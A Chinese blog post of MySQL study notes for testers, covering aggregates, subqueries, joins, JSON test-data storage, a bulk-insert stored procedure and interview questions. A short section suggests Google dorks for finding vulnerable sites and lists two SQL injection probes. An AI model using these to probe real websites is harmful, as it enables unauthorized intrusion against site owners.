美文网首页
mysql在测试中的应用2

mysql在测试中的应用2

作者: 测试星云 | 来源:发表于2020-03-11 19:10 被阅读0次

sql 语法

聚合函数及分组筛选:

在一组数据中查询:总计数量count‘合计sum,平均值avg,最大max,最小值min

练习:

10001这个员工工作了多少年?
这些年赚了多少钱?
平均每年多少呢?保留小数点后两位。
最多一年和最少一年赚多少?
公司所有员工每一位平均薪水,最高,最低,使用别名显示。
-统计一下dept_emp这张表的数据量
-再统计一下员工id(emp_no)的去重数量
-把重复出现员工id筛选出来
-重复员工id把完整的信息dept_emp筛选出来

子查询

SELECT … FROM 表1 WHERE 字段1 = (in) (子查询)

练习

现在薪水最高的那个员工的信息。
工作17年以上的员工都有谁?具体每个人每年薪资详细信息。

联表查询

select 列名 from 表A a inner(left,right) join 表B b on a.key=b.key

练习

显示员工号,员工名字和所有部门号(部门名称)
显示 Customer Service 部门所有员工名字 ,使用内联接
显示Customer Service 部门员工数量 ,左联接-右联接-数量是否不同。
显示现在(最后一次调动工作以来)薪水最低的10名人员员工编号及薪水,薪水加密显示。
给2002年调动工作的,现在在职的员工涨工资3000

备份与恢复

接口自动化测试数据存储

建表

CREATE TABLE testdata (
id int(10) unsigned NOT NULL AUTO_INCREMENT,
payload json DEFAULT NULL,
response json DEFAULT NULL,
PRIMARY KEY (id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

插入

INSERT INTO testdata (payload, response)
VALUES ('{"id": 3, "name": "linda22"}', '{"code":40000 ,"msg": "ok"}');

INSERT INTO testdata (payload, response)
VALUES (JSON_OBJECT("id", 4, "name", "sevenriruby"),
JSON_ARRAY(1, 3, 5));

select * from testdata;
查询某个

SELECT id, payload->'$.id', payload->'$.name', response->'$[0]', response->'$[2]' FROM testdata;
select * from testdata where payload->'$.name'='linda';

SQL注入

在google找脆弱网站

inurl:php?id=

inurl:product.php?mid=
inurl:/articles.php?id=

1' order by 1#
1' union select database(),user()#

存储过程添加100万条数据

删除存储过程,如果这个名字的已存在
DROP PROCEDURE if exists insert_data_pro;
由于语句较多,使用这个告诉mysql,看到下面这就表示语句结束了。
DELIMITER $$
建立存储过程名字叫 insert_data_pro

CREATE
PROCEDURE insert_data_pro()
BEGIN 开始
DECLARE i INT; 定义 i
SET i=0; 设置初始值为0
WHILE i>=0 && i<= 10000 DO 循环 插入10000条数据,可以变化。
INSERT INTO big_data(name1,age,email)values(concat(‘linda’,i),rand()*50,concat('linda',i,'[*@*qq.com](https://testerhome.com/qq.com "@qq.com")'));
写的sql,concat是将多个str连在一起。
SET i=i + 1;

END WHILE; 结束循环
END$$ 存储过程结束
DELIMITER ; 恢复设置

下面是调用存储过程
call insert_data_pro();

explain

慢查询分析

面试-坑

手机号存成什么类型,长度多长?
字符集是哪个?需要注释吗?
工作中使用存储过程、视图、触发器、Event?
主外键做什么,实际中你们用吗?
索引怎么用?
存储过程用吗?
什么时候用TEXT、BLOB类型?大文件或者大照片怎么存的?
你们使用什么引擎?
int(11),是什么意思,varchar(20)是什么意思?
删除命令你知道哪些?
你了解事务吗?

事务怎么测试呢?

相关文章

网友评论

      本文标题:mysql在测试中的应用2

      本文链接:https://www.haomeiwen.com/subject/ulmhjhtx.html